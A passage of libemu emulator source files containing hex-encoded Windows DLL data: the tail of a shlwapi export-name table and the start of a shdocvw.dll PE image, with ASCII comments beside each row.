"\x52\x65\x67\x53\x65\x74\x55\x53\x56\x61\x6C\x75\x65\x57\x00\x53" //RegSetUSValueW.S /* 0045A0 */ "\x48\x52\x65\x67\x57\x72\x69\x74\x65\x55\x53\x56\x61\x6C\x75\x65" //HRegWriteUSValue /* 0045C0 */ "\x41\x00\x53\x48\x52\x65\x67\x57\x72\x69\x74\x65\x55\x53\x56\x61" //A.SHRegWriteUSVa /* 0045E0 */ "\x6C\x75\x65\x57\x00\x53\x48\x52\x65\x67\x69\x73\x74\x65\x72\x56" //lueW.SHRegisterV /* 004600 */ "\x61\x6C\x69\x64\x61\x74\x65\x54\x65\x6D\x70\x6C\x61\x74\x65\x00" //alidateTemplate. /* 004620 */ "\x53\x48\x52\x65\x6C\x65\x61\x73\x65\x54\x68\x72\x65\x61\x64\x52" //SHReleaseThreadR /* 004640 */ "\x65\x66\x00\x53\x48\x53\x65\x74\x54\x68\x72\x65\x61\x64\x52\x65" //ef.SHSetThreadRe /* 004660 */ "\x66\x00\x53\x48\x53\x65\x74\x56\x61\x6C\x75\x65\x41\x00\x53\x48" //f.SHSetValueA.SH /* 004680 */ "\x53\x65\x74\x56\x61\x6C\x75\x65\x57\x00\x53\x48\x53\x6B\x69\x70" //SetValueW.SHSkip /* 0046A0 */ "\x4A\x75\x6E\x63\x74\x69\x6F\x6E\x00\x53\x48\x53\x74\x72\x44\x75" //Junction.SHStrDu /* 0046C0 */ "\x70\x41\x00\x53\x48\x53\x74\x72\x44\x75\x70\x57\x00\x53\x48\x55" //pA.SHStrDupW.SHU /* 0046E0 */ "\x6E\x6C\x6F\x63\x6B\x53\x68\x61\x72\x65\x64\x00\x53\x74\x72\x43" //nlockShared.StrC /* 004700 */ "\x53\x70\x6E\x41\x00\x53\x74\x72\x43\x53\x70\x6E\x49\x41\x00\x53" //SpnA.StrCSpnIA.S /* 004720 */ "\x74\x72\x43\x53\x70\x6E\x49\x57\x00\x53\x74\x72\x43\x53\x70\x6E" //trCSpnIW.StrCSpn /* 004740 */ "\x57\x00\x53\x74\x72\x43\x61\x74\x42\x75\x66\x66\x41\x00\x53\x74" //W.StrCatBuffA.St /* 004760 */ "\x72\x43\x61\x74\x42\x75\x66\x66\x57\x00\x53\x74\x72\x43\x61\x74" //rCatBuffW.StrCat /* 004780 */ "\x43\x68\x61\x69\x6E\x57\x00\x53\x74\x72\x43\x61\x74\x57\x00\x53" //ChainW.StrCatW.S /* 0047A0 */ "\x74\x72\x43\x68\x72\x41\x00\x53\x74\x72\x43\x68\x72\x49\x41\x00" //trChrA.StrChrIA. /* 0047C0 */ "\x53\x74\x72\x43\x68\x72\x49\x57\x00\x53\x74\x72\x43\x68\x72\x4E" //StrChrIW.StrChrN /* 0047E0 */ "\x49\x57\x00\x53\x74\x72\x43\x68\x72\x4E\x57\x00\x53\x74\x72\x43" //IW.StrChrNW.StrC /* 004800 */ "\x68\x72\x57\x00\x53\x74\x72\x43\x6D\x70\x43\x41\x00\x53\x74\x72" //hrW.StrCmpCA.Str /* 004820 */ "\x43\x6D\x70\x43\x57\x00\x53\x74\x72\x43\x6D\x70\x49\x43\x41\x00" //CmpCW.StrCmpICA. /* 004840 */ "\x53\x74\x72\x43\x6D\x70\x49\x43\x57\x00\x53\x74\x72\x43\x6D\x70" //StrCmpICW.StrCmp /* 004860 */ "\x49\x57\x00\x53\x74\x72\x43\x6D\x70\x4C\x6F\x67\x69\x63\x61\x6C" //IW.StrCmpLogical /* 004880 */ "\x57\x00\x53\x74\x72\x43\x6D\x70\x4E\x41\x00\x53\x74\x72\x43\x6D" //W.StrCmpNA.StrCm /* 0048A0 */ "\x70\x4E\x49\x41\x00\x53\x74\x72\x43\x6D\x70\x4E\x49\x57\x00\x53" //pNIA.StrCmpNIW.S /* 0048C0 */ "\x74\x72\x43\x6D\x70\x4E\x57\x00\x53\x74\x72\x43\x6D\x70\x57\x00" //trCmpNW.StrCmpW. /* 0048E0 */ "\x53\x74\x72\x43\x70\x79\x4E\x57\x00\x53\x74\x72\x43\x70\x79\x57" //StrCpyNW.StrCpyW /* 004900 */ "\x00\x53\x74\x72\x44\x75\x70\x41\x00\x53\x74\x72\x44\x75\x70\x57" //.StrDupA.StrDupW /* 004920 */ "\x00\x53\x74\x72\x46\x6F\x72\x6D\x61\x74\x42\x79\x74\x65\x53\x69" //.StrFormatByteSi /* 004940 */ "\x7A\x65\x36\x34\x41\x00\x53\x74\x72\x46\x6F\x72\x6D\x61\x74\x42" //ze64A.StrFormatB /* 004960 */ "\x79\x74\x65\x53\x69\x7A\x65\x41\x00\x53\x74\x72\x46\x6F\x72\x6D" //yteSizeA.StrForm /* 004980 */ "\x61\x74\x42\x79\x74\x65\x53\x69\x7A\x65\x57\x00\x53\x74\x72\x46" //atByteSizeW.StrF /* 0049A0 */ "\x6F\x72\x6D\x61\x74\x4B\x42\x53\x69\x7A\x65\x41\x00\x53\x74\x72" //ormatKBSizeA.Str /* 0049C0 */ "\x46\x6F\x72\x6D\x61\x74\x4B\x42\x53\x69\x7A\x65\x57\x00\x53\x74" //FormatKBSizeW.St /* 0049E0 */ "\x72\x46\x72\x6F\x6D\x54\x69\x6D\x65\x49\x6E\x74\x65\x72\x76\x61" //rFromTimeInterva /* 004A00 */ "\x6C\x41\x00\x53\x74\x72\x46\x72\x6F\x6D\x54\x69\x6D\x65\x49\x6E" //lA.StrFromTimeIn /* 004A20 */ "\x74\x65\x72\x76\x61\x6C\x57\x00\x53\x74\x72\x49\x73\x49\x6E\x74" //tervalW.StrIsInt /* 004A40 */ "\x6C\x45\x71\x75\x61\x6C\x41\x00\x53\x74\x72\x49\x73\x49\x6E\x74" //lEqualA.StrIsInt /* 004A60 */ "\x6C\x45\x71\x75\x61\x6C\x57\x00\x53\x74\x72\x4E\x43\x61\x74\x41" //lEqualW.StrNCatA /* 004A80 */ "\x00\x53\x74\x72\x4E\x43\x61\x74\x57\x00\x53\x74\x72\x50\x42\x72" //.StrNCatW.StrPBr /* 004AA0 */ "\x6B\x41\x00\x53\x74\x72\x50\x42\x72\x6B\x57\x00\x53\x74\x72\x52" //kA.StrPBrkW.StrR /* 004AC0 */ "\x43\x68\x72\x41\x00\x53\x74\x72\x52\x43\x68\x72\x49\x41\x00\x53" //ChrA.StrRChrIA.S /* 004AE0 */ "\x74\x72\x52\x43\x68\x72\x49\x57\x00\x53\x74\x72\x52\x43\x68\x72" //trRChrIW.StrRChr /* 004B00 */ "\x57\x00\x53\x74\x72\x52\x53\x74\x72\x49\x41\x00\x53\x74\x72\x52" //W.StrRStrIA.StrR /* 004B20 */ "\x53\x74\x72\x49\x57\x00\x53\x74\x72\x52\x65\x74\x54\x6F\x42\x53" //StrIW.StrRetToBS /* 004B40 */ "\x54\x52\x00\x53\x74\x72\x52\x65\x74\x54\x6F\x42\x75\x66\x41\x00" //TR.StrRetToBufA. /* 004B60 */ "\x53\x74\x72\x52\x65\x74\x54\x6F\x42\x75\x66\x57\x00\x53\x74\x72" //StrRetToBufW.Str /* 004B80 */ "\x52\x65\x74\x54\x6F\x53\x74\x72\x41\x00\x53\x74\x72\x52\x65\x74" //RetToStrA.StrRet /* 004BA0 */ "\x54\x6F\x53\x74\x72\x57\x00\x53\x74\x72\x53\x70\x6E\x41\x00\x53" //ToStrW.StrSpnA.S /* 004BC0 */ "\x74\x72\x53\x70\x6E\x57\x00\x53\x74\x72\x53\x74\x72\x41\x00\x53" //trSpnW.StrStrA.S /* 004BE0 */ "\x74\x72\x53\x74\x72\x49\x41\x00\x53\x74\x72\x53\x74\x72\x49\x57" //trStrIA.StrStrIW /* 004C00 */ "\x00\x53\x74\x72\x53\x74\x72\x4E\x49\x57\x00\x53\x74\x72\x53\x74" //.StrStrNIW.StrSt /* 004C20 */ "\x72\x4E\x57\x00\x53\x74\x72\x53\x74\x72\x57\x00\x53\x74\x72\x54" //rNW.StrStrW.StrT /* 004C40 */ "\x6F\x49\x6E\x74\x36\x34\x45\x78\x41\x00\x53\x74\x72\x54\x6F\x49" //oInt64ExA.StrToI /* 004C60 */ "\x6E\x74\x36\x34\x45\x78\x57\x00\x53\x74\x72\x54\x6F\x49\x6E\x74" //nt64ExW.StrToInt /* 004C80 */ "\x41\x00\x53\x74\x72\x54\x6F\x49\x6E\x74\x45\x78\x41\x00\x53\x74" //A.StrToIntExA.St /* 004CA0 */ "\x72\x54\x6F\x49\x6E\x74\x45\x78\x57\x00\x53\x74\x72\x54\x6F\x49" //rToIntExW.StrToI /* 004CC0 */ "\x6E\x74\x57\x00\x53\x74\x72\x54\x72\x69\x6D\x41\x00\x53\x74\x72" //ntW.StrTrimA.Str /* 004CE0 */ "\x54\x72\x69\x6D\x57\x00\x55\x72\x6C\x41\x70\x70\x6C\x79\x53\x63" //TrimW.UrlApplySc /* 004D00 */ "\x68\x65\x6D\x65\x41\x00\x55\x72\x6C\x41\x70\x70\x6C\x79\x53\x63" //hemeA.UrlApplySc /* 004D20 */ "\x68\x65\x6D\x65\x57\x00\x55\x72\x6C\x43\x61\x6E\x6F\x6E\x69\x63" //hemeW.UrlCanonic /* 004D40 */ "\x61\x6C\x69\x7A\x65\x41\x00\x55\x72\x6C\x43\x61\x6E\x6F\x6E\x69" //alizeA.UrlCanoni /* 004D60 */ "\x63\x61\x6C\x69\x7A\x65\x57\x00\x55\x72\x6C\x43\x6F\x6D\x62\x69" //calizeW.UrlCombi /* 004D80 */ "\x6E\x65\x41\x00\x55\x72\x6C\x43\x6F\x6D\x62\x69\x6E\x65\x57\x00" //neA.UrlCombineW. /* 004DA0 */ "\x55\x72\x6C\x43\x6F\x6D\x70\x61\x72\x65\x41\x00\x55\x72\x6C\x43" //UrlCompareA.UrlC /* 004DC0 */ "\x6F\x6D\x70\x61\x72\x65\x57\x00\x55\x72\x6C\x43\x72\x65\x61\x74" //ompareW.UrlCreat /* 004DE0 */ "\x65\x46\x72\x6F\x6D\x50\x61\x74\x68\x41\x00\x55\x72\x6C\x43\x72" //eFromPathA.UrlCr /* 004E00 */ "\x65\x61\x74\x65\x46\x72\x6F\x6D\x50\x61\x74\x68\x57\x00\x55\x72" //eateFromPathW.Ur /* 004E20 */ "\x6C\x45\x73\x63\x61\x70\x65\x41\x00\x55\x72\x6C\x45\x73\x63\x61" //lEscapeA.UrlEsca /* 004E40 */ "\x70\x65\x57\x00\x55\x72\x6C\x47\x65\x74\x4C\x6F\x63\x61\x74\x69" //peW.UrlGetLocati /* 004E60 */ "\x6F\x6E\x41\x00\x55\x72\x6C\x47\x65\x74\x4C\x6F\x63\x61\x74\x69" //onA.UrlGetLocati /* 004E80 */ "\x6F\x6E\x57\x00\x55\x72\x6C\x47\x65\x74\x50\x61\x72\x74\x41\x00" //onW.UrlGetPartA. /* 004EA0 */ "\x55\x72\x6C\x47\x65\x74\x50\x61\x72\x74\x57\x00\x55\x72\x6C\x48" //UrlGetPartW.UrlH /* 004EC0 */ "\x61\x73\x68\x41\x00\x55\x72\x6C\x48\x61\x73\x68\x57\x00\x55\x72" //ashA.UrlHashW.Ur /* 004EE0 */ "\x6C\x49\x73\x41\x00\x55\x72\x6C\x49\x73\x4E\x6F\x48\x69\x73\x74" //lIsA.UrlIsNoHist /* 004F00 */ "\x6F\x72\x79\x41\x00\x55\x72\x6C\x49\x73\x4E\x6F\x48\x69\x73\x74" //oryA.UrlIsNoHist /* 004F20 */ "\x6F\x72\x79\x57\x00\x55\x72\x6C\x49\x73\x4F\x70\x61\x71\x75\x65" //oryW.UrlIsOpaque /* 004F40 */ "\x41\x00\x55\x72\x6C\x49\x73\x4F\x70\x61\x71\x75\x65\x57\x00\x55" //A.UrlIsOpaqueW.U /* 004F60 */ "\x72\x6C\x49\x73\x57\x00\x55\x72\x6C\x55\x6E\x65\x73\x63\x61\x70" //rlIsW.UrlUnescap /* 004F80 */ "\x65\x41\x00\x55\x72\x6C\x55\x6E\x65\x73\x63\x61\x70\x65\x57\x00" //eA.UrlUnescapeW. /* 004FA0 */ "\x77\x6E\x73\x70\x72\x69\x6E\x74\x66\x41\x00\x77\x6E\x73\x70\x72" //wnsprintfA.wnspr /* 004FC0 */ "\x69\x6E\x74\x66\x57\x00\x77\x76\x6E\x73\x70\x72\x69\x6E\x74\x66" //intfW.wvnsprintf /* 004FE0 */ "\x41\x00\x77\x76\x6E\x73\x70\x72\x69\x6E\x74\x66\x57\x00\x90\x90" //A.wvnsprintfW... /* 005000 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ ; libemu-0.2.0+git20120122+564/src/environment/win32/dlls/shdocvwdll.c0000644000175300017530000043213011706767213023416 0ustar dt-npbdt-npbconst char shdocvw_7E290000[] = /* 7E290000 */ "\x4D\x5A\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xFF\xFF\x00\x00" //MZ..........ÿÿ.. /* 7E290020 */ "\xB8\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00" //........@....... /* 7E290040 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 7E290060 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xF0\x00\x00\x00" //............ð... /* 7E290080 */ "\x0E\x1F\xBA\x0E\x00\xB4\x09\xCD\x21\xB8\x01\x4C\xCD\x21\x54\x68" //.......Í!..LÍ!Th /* 7E2900A0 */ "\x69\x73\x20\x70\x72\x6F\x67\x72\x61\x6D\x20\x63\x61\x6E\x6E\x6F" //is.program.canno /* 7E2900C0 */ "\x74\x20\x62\x65\x20\x72\x75\x6E\x20\x69\x6E\x20\x44\x4F\x53\x20" //t.be.run.in.DOS. /* 7E2900E0 */ "\x6D\x6F\x64\x65\x2E\x0D\x0D\x0A\x24\x00\x00\x00\x00\x00\x00\x00" //mode....$....... /* 7E290100 */ "\xA8\x6A\xE2\x68\xEC\x0B\x8C\x3B\xEC\x0B\x8C\x3B\xEC\x0B\x8C\x3B" //.jâhì..;ì..;ì..; /* 7E290120 */ "\x2F\x04\xD1\x3B\xEB\x0B\x8C\x3B\x2F\x04\x83\x3B\xE1\x0B\x8C\x3B" ///.Ñ;ë..;/..;á..; /* 7E290140 */ "\x3D\x07\xD3\x3B\xEE\x0B\x8C\x3B\xEC\x0B\x8D\x3B\x54\x0A\x8C\x3B" //=.Ó;î..;ì..;T..; /* 7E290160 */ "\x2F\x04\xD0\x3B\xED\x0B\x8C\x3B\x2F\x04\xD2\x3B\xED\x0B\x8C\x3B" ///.Ð;í..;/.Ò;í..; /* 7E290180 */ "\x2F\x04\xEC\x3B\xF1\x0B\x8C\x3B\x2F\x04\xD3\x3B\x7E\x0B\x8C\x3B" ///.ì;ñ..;/.Ó;~..; /* 7E2901A0 */ "\x2F\x04\xD6\x3B\xED\x0B\x8C\x3B\x52\x69\x63\x68\xEC\x0B\x8C\x3B" ///.Ö;í..;Richì..; /* 7E2901C0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 7E2901E0 */ "\x50\x45\x00\x00\x4C\x01\x04\x00\x48\x1D\x90\x49\x5B\x4C\x6F\x72" //PE..L...H..I[Lor /* 7E290200 */ "\x64\x50\x45\x5D\xE0\x00\x0E\x21\x0B\x01\x07\x0A\x00\x46\x07\x00" //dPE]à..!.....F.. /* 7E290220 */ "\x00\x3E\x02\x00\x00\x00\x00\x00\x0B\x71\x00\x00\x00\x10\x00\x00" //.>.......q...... /* 7E290240 */ "\x00\x20\x07\x00\x00\x00\xDD\x77\x00\x10\x00\x00\x00\x10\x00\x00" //......Ýw........ /* 7E290260 */ "\x05\x00\x01\x00\x05\x00\x01\x00\x04\x00\x00\x00\x00\x00\x00\x00" //................ /* 7E290280 */ "\x00\xB0\x09\x00\x00\x10\x00\x00\xB8\x5B\x0A\x00\x03\x00\x00\x00" //.........[...... /* 7E2902A0 */ "\x00\x00\x04\x00\x00\x10\x00\x00\x00\x00\x10\x00\x00\x10\x00\x00" //................ /* 7E2902C0 */ "\x00\x00\x00\x00\x10\x00\x00\x00\xA4\x16\x00\x00\x52\x52\x00\x00" //............RR.. /* 7E2902E0 */ "\x24\x2B\x07\x00\x50\x00\x00\x00\x00\xB0\x07\x00\x80\xA9\x01\x00" //$+..P........... /* 7E290300 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 7E290320 */ "\x00\x60\x09\x00\xF8\x4A\x00\x00\x68\x55\x07\x00\x38\x00\x00\x00" //.`..øJ..hU..8... /* 7E290340 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 7E290360 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x28\x17\x02\x00\x40\x00\x00\x00" //........(...@... /* 7E290380 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\xA4\x06\x00\x00" //................ /* 7E2903A0 */ "\xC8\x29\x07\x00\x60\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //È)..`........... /* 7E2903C0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x2E\x74\x65\x78\x74\x00\x00\x00" //.........text... /* 7E2903E0 */ "\xC9\x45\x07\x00\x00\x10\x00\x00\xC9\x45\x07\x00\x00\x10\x00\x00" //ÉE......ÉE...... /* 7E290400 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\x00\x00\x60" //...............` /* 7E290420 */ "\x2E\x64\x61\x74\x61\x00\x00\x00\x28\x46\x00\x00\x00\x60\x07\x00" //.data...(F...`.. /* 7E290440 */ "\x28\x46\x00\x00\x00\x60\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00" //(F...`.......... /* 7E290460 */ "\x00\x00\x00\x00\x40\x00\x00\xC0\x2E\x72\x73\x72\x63\x00\x00\x00" //....@..À.rsrc... /* 7E290480 */ "\x80\xA9\x01\x00\x00\xB0\x07\x00\x80\xA9\x01\x00\x00\xB0\x07\x00" //................ /* 7E2904A0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x40" //............@..@ /* 7E2904C0 */ "\x2E\x72\x65\x6C\x6F\x63\x00\x00\xF8\x4A\x00\x00\x00\x60\x09\x00" //.reloc..øJ...`.. /* 7E2904E0 */ "\xF8\x4A\x00\x00\x00\x60\x09\x00\x00\x00\x00\x00\x00\x00\x00\x00" //øJ...`.......... /* 7E290500 */ "\x00\x00\x00\x00\x40\x00\x00\x42\x00\x00\x00\x00\x00\x00\x00\x00" //....@..B........ /* 7E290520 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 7E290540 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 7E290560 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 7E290580 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 7E2905A0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 7E2905C0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 7E2905E0 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 7E290600 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 7E290620 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ /* 7E290640 */ "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" //................ ; const char shdocvw_7E2A4480[] = /* 7E290000 */ "\x00\x00\x00\x00\xB0\x18\x8C\x49\x00\x00\x00\x00\x3E\x31\x00\x00" //.......I....>1.. /* 7E290020 */ "\x01\x00\x00\x00\xA5\x02\x00\x00\xA5\x02\x00\x00\xCC\x16\x00\x00" //............Ì... /* 7E290040 */ "\x60\x21\x00\x00\xF4\x2B\x00\x00\x24\x69\x06\x00\x2D\xB2\x02\x00" //`!..ô+..$i..-... /* 7E290060 */ "\x7D\xB1\x02\x00\xD1\xB1\x02\x00\xB8\x4E\x06\x00\x5B\xD4\x02\x00" //}...Ñ....N..[Ô.. /* 7E290080 */ "\xA0\x73\x00\x00\x49\xCE\x03\x00\x6C\xBC\x02\x00\xC9\xF1\x00\x00" //.s..IÎ..l...Éñ.. /* 7E2900A0 */ "\x2F\xCF\x03\x00\x37\xCC\x03\x00\x61\xCB\x03\x00\x24\xD0\x03\x00" ///Ï..7Ì..aË..$Ð.. /* 7E2900C0 */ "\x19\xD1\x03\x00\x94\xCD\x03\x00\xE2\xCC\x03\x00\x31\x7D\x00\x00" //.Ñ...Í..âÌ..1}.. /* 7E2900E0 */ "\xD8\x2E\x01\x00\x0C\xD4\x03\x00\x4F\x81\x02\x00\x3F\xD3\x03\x00" //Ø....Ô..O...?Ó.. /* 7E290100 */ "\x5A\xD4\x03\x00\xA3\x7E\x02\x00\x87\xD3\x03\x00\xBE\xD3\x03\x00" //ZÔ...~...Ó...Ó.. /* 7E290120 */ "\xA8\xD4\x03\x00\x83\x35\x04\x00\x00\xCC\x03\x00\x0C\xF0\x00\x00" //.Ô...5...Ì...ð.. /* 7E290140 */ "\xC9\x7C\x00\x00\x8C\x74\x00\x00\x7B\xBD\x02\x00\x7D\xD2\x02\x00" //É|...t..{...}Ò.. /* 7E290160 */ "\xE0\xC8\x03\x00\x84\xC3\x03\x00\x74\x23\x05\x00\x74\x23\x05\x00" //àÈ...Ã..t#..t#.. /* 7E290180 */ "\xA4\x23\x05\x00\xA4\x23\x05\x00\xFE\x24\x05\x00\xFE\x24\x05\x00" //.#...#..þ$..þ$.. /* 7E2901A0 */ "\xE0\x1E\x05\x00\xA5\x1C\x05\x00\xD6\x24\x05\x00\xD6\x24\x05\x00" //à.......Ö$..Ö$.. /* 7E2901C0 */ "\xDA\x25\x05\x00\xDA\x25\x05\x00\x3F\x25\x05\x00\x3F\x25\x05\x00" //Ú%..Ú%..?%..?%.. /* 7E2901E0 */ "\x1B\x25\x05\x00\x1B\x25\x05\x00\x09\x37\x05\x00\x01\x71\x06\x00" //.%...%...7...q.. /* 7E290200 */ "\x89\x71\x06\x00\x69\x6E\x06\x00\x01\x70\x06\x00\xCA\x7F\x00\x00" //.q..in...p..Ê... /* 7E290220 */ "\x77\xC8\x03\x00\x65\xC2\x03\x00\x98\xAF\x00\x00\x9C\x34\x04\x00" //wÈ..eÂ.......4.. /* 7E290240 */ "\xBD\x54\x02\x00\xE5\x6C\x01\x00\xD0\x6D\x05\x00\x16\xBE\x02\x00" //.T..ål..Ðm...... /* 7E290260 */ "\x3D\xAB\x00\x00\x09\x4A\x02\x00\x29\xA0\x05\x00\xED\xCC\x02\x00" //=....J..)...íÌ.. /* 7E290280 */ "\x01\x2E\x05\x00\xC5\x2D\x05\x00\x5A\x4B\x04\x00\x76\x49\x04\x00" //....Å-..ZK..vI.. /* 7E2902A0 */ "\xDF\x30\x05\x00\xDF\x30\x05\x00\xBA\x30\x05\x00\xBA\x30\x05\x00" //ß0..ß0...0...0.. /* 7E2902C0 */ "\xCC\x4D\x04\x00\x45\x4A\x04\x00\x8D\xC1\x02\x00\x0F\xF1\x00\x00" //ÌM..EJ...Á...ñ.. /* 7E2902E0 */ "\x38\x4C\x04\x00\xCE\x49\x04\x00\xDC\x4A\x04\x00\x23\x49\x04\x00" //8L..ÎI..ÜJ..#I.. /* 7E290300 */ "\x51\x4D\x04\x00\x06\x2F\x01\x00\xDC\x4C\x04\x00\x57\x44\x02\x00" //QM.../..ÜL..WD.. /* 7E290320 */ "\xA8\xD5\x03\x00\xE7\xF0\x00\x00\xC5\xE9\x04\x00\x71\xD5\x03\x00" //.Õ..çð..Åé..qÕ.. /* 7E290340 */ "\x2E\x4F\x01\x00\xDE\xD5\x03\x00\xE8\x0C\x04\x00\xDD\x0A\x04\x00" //.O..ÞÕ..è...Ý... /* 7E290360 */ "\xA9\xA8\x01\x00\xFD\x5F\x04\x00\x8C\xDC\x03\x00\x11\x72\x06\x00" //....ý_...Ü...r.. /* 7E290380 */ "\xA9\x73\x06\x00\xCB\xAD\x05\x00\x9D\x51\x02\x00\x09\x85\x04\x00" //.s..Ë....Q...... /* 7E2903A0 */ "\xB1\x85\x04\x00\xA9\x7F\x04\x00\x99\x80\x04\x00\x8D\xDF\x01\x00" //.............ß.. /* 7E2903C0 */ "\xA9\x89\x04\x00\x09\x88\x04\x00\xD9\x88\x04\x00\x80\x8F\x04\x00" //........Ù....... /* 7E2903E0 */ "\x9E\x8E\x04\x00\xCC\x8E\x04\x00\xC6\x8D\x04\x00\xF5\xE0\x01\x00" //....Ì...Æ...õà.. /* 7E290400 */ "\xF9\x7D\x04\x00\x29\x83\x04\x00\x19\x84\x04\x00\xD1\x7E\x04\x00" //ù}..).......Ñ~.. /* 7E290420 */ "\x59\x86\x04\x00\x31\x87\x04\x00\x17\x8F\x04\x00\xDE\x6E\x02\x00" //Y...1.......Þn.. /* 7E290440 */ "\xB9\x7C\x04\x00\x89\x81\x04\x00\x59\x82\x04\x00\x59\x7D\x04\x00" //.|......Y...Y}.. /* 7E290460 */ "\x2D\x78\x04\x00\xD1\x78\x04\x00\x60\x73\x04\x00\xF8\x72\x04\x00" //-x..Ñx..`s..ør.. /* 7E290480 */ "\x3D\x79\x01\x00\x99\x7F\x01\x00\x70\x10\x04\x00\x71\x9C\x01\x00" //=y......p...q... /* 7E2904A0 */ "\x29\xA1\x01\x00\xFD\x9F\x01\x00\xCC\x9B\x01\x00\xBC\x9E\x01\x00" //)...ý...Ì....... /* 7E2904C0 */ "\xF9\x1C\x04\x00\x39\x19\x04\x00\x60\xE3\x01\x00\x01\x12\x04\x00" //ù...9...`ã...... /* 7E2904E0 */ "\xA1\x29\x04\x00\x61\x14\x04\x00\x09\x2B\x04\x00\xF9\x1B\x04\x00" //.)..a....+..ù... /* 7E290500 */ "\x49\x18\x04\x00\xF4\xB3\x02\x00\xE1\x26\x04\x00\x89\x2D\x04\x00" //I...ô...á&...-.. /* 7E290520 */ "\xB4\x9D\x01\x00\x98\x12\x02\x00\x39\x13\x02\x00\x21\x1B\x04\x00" //........9...!... /* 7E290540 */ "\x9E\x9A\x01\x00\x21\x1E\x04\x00\xF1\xA1\x01\x00\xEE\x7E\x01\x00" //....!...ñ...î~.. /* 7E290560 */ "\x91\x20\x04\x00\x51\x1A\x04\x00\xF1\x10\x04\x00\x61\x21\x04\x00" //....Q...ñ...a!.. /* 7E290580 */ "\x29\x23\x04\x00\xF1\x2C\x04\x00\x61\x2C\x04\x00\xE1\x1F\x04\x00" //)#..ñ,..a,..á... /* 7E2905A0 */ "\xD1\x1F\x04\x00\x41\xC8\x02\x00\x22\x35\x02\x00\x41\x37\x04\x00" //Ñ...AÈ.."5..A7.. /* 7E2905C0 */ "\xCF\x33\x04\x00\x9A\xD2\x02\x00\xB1\x74\x06\x00\xD3\x79\x02\x00" //Ï3...Ò...t..Óy.. /* 7E2905E0 */ "\x0C\x4F\x01\x00\xEA\x35\x04\x00\x11\x82\x00\x00\x9E\x81\x00\x00" //.O..ê5.......... /* 7E290600 */ "\xE1\x8A\x06\x00\x99\x88\x06\x00\x26\x87\x06\x00\x79\x8A\x06\x00" //á.......&...y... /* 7E290620 */ "\x31\x88\x06\x00\xDE\x54\x02\x00\xF4\x79\x02\x00\x81\x8B\x06\x00" //1...ÞT..ôy...... /* 7E290640 */ "\xAF\x5D\x02\x00\x44\x5E\x02\x00\xE1\x89\x06\x00\x99\x87\x06\x00" //.]..D^..á....... /* 7E290660 */ "\xF7\x5E\x02\x00\xCF\x10\x02\x00\xD7\x5C\x02\x00\x39\x89\x06\x00" //÷^..Ï...×\..9... /* 7E290680 */ "\xA7\x7B\x02\x00\x83\x80\x02\x00\xD5\x7D\x02\x00\xA5\x37\x02\x00" //.{......Õ}...7.. /* 7E2906A0 */ "\xD5\xA5\x05\x00\xAC\x36\x04\x00\x90\x33\x04\x00\x51\x36\x04\x00" //Õ....6...3..Q6.. /* 7E2906C0 */ "\x25\x36\x04\x00\x29\x75\x06\x00\xE1\x75\x06\x00\x89\x6A\x06\x00" //%6..)u..áu...j.. /* 7E2906E0 */ "\x47\x6B\x02\x00\x2F\x6C\x06\x00\xB8\x69\x06\x00\x61\x7D\x06\x00" //Gk../l...i..a}.. /* 7E290700 */ "\x81\xAE\x05\x00\x09\xDF\x03\x00\xE9\xD2\x03\x00\x7A\xF0\x00\x00" //.....ß..éÒ..zð.. /* 7E290720 */ "\xD9\x37\x04\x00\x12\x34\x04\x00\xFC\xD4\x03\x00\xBB\xB0\x05\x00" //Ù7...4..üÔ...... /* 7E290740 */ "\xDC\xB0\x05\x00\x8C\x36\x04\x00\xED\x34\x04\x00\xB2\x24\x05\x00" //Ü....6..í4...$.. /* 7E290760 */ "\xB8\x7C\x00\x00\x69\x38\x05\x00\x81\x37\x05\x00\x33\x4C\x01\x00" //.|..i8...7..3L.. /* 7E290780 */ "\x78\x7E\x02\x00\x5F\x1C\x05\x00\x0E\x1C\x05\x00\x61\xCA\x03\x00" //x~.._.......aÊ.. /* 7E2907A0 */ "\x75\x0A\x02\x00\x97\x1B\x05\x00\x37\x1B\x05\x00\xE8\x0F\x02\x00" //u.......7...è... /* 7E2907C0 */ 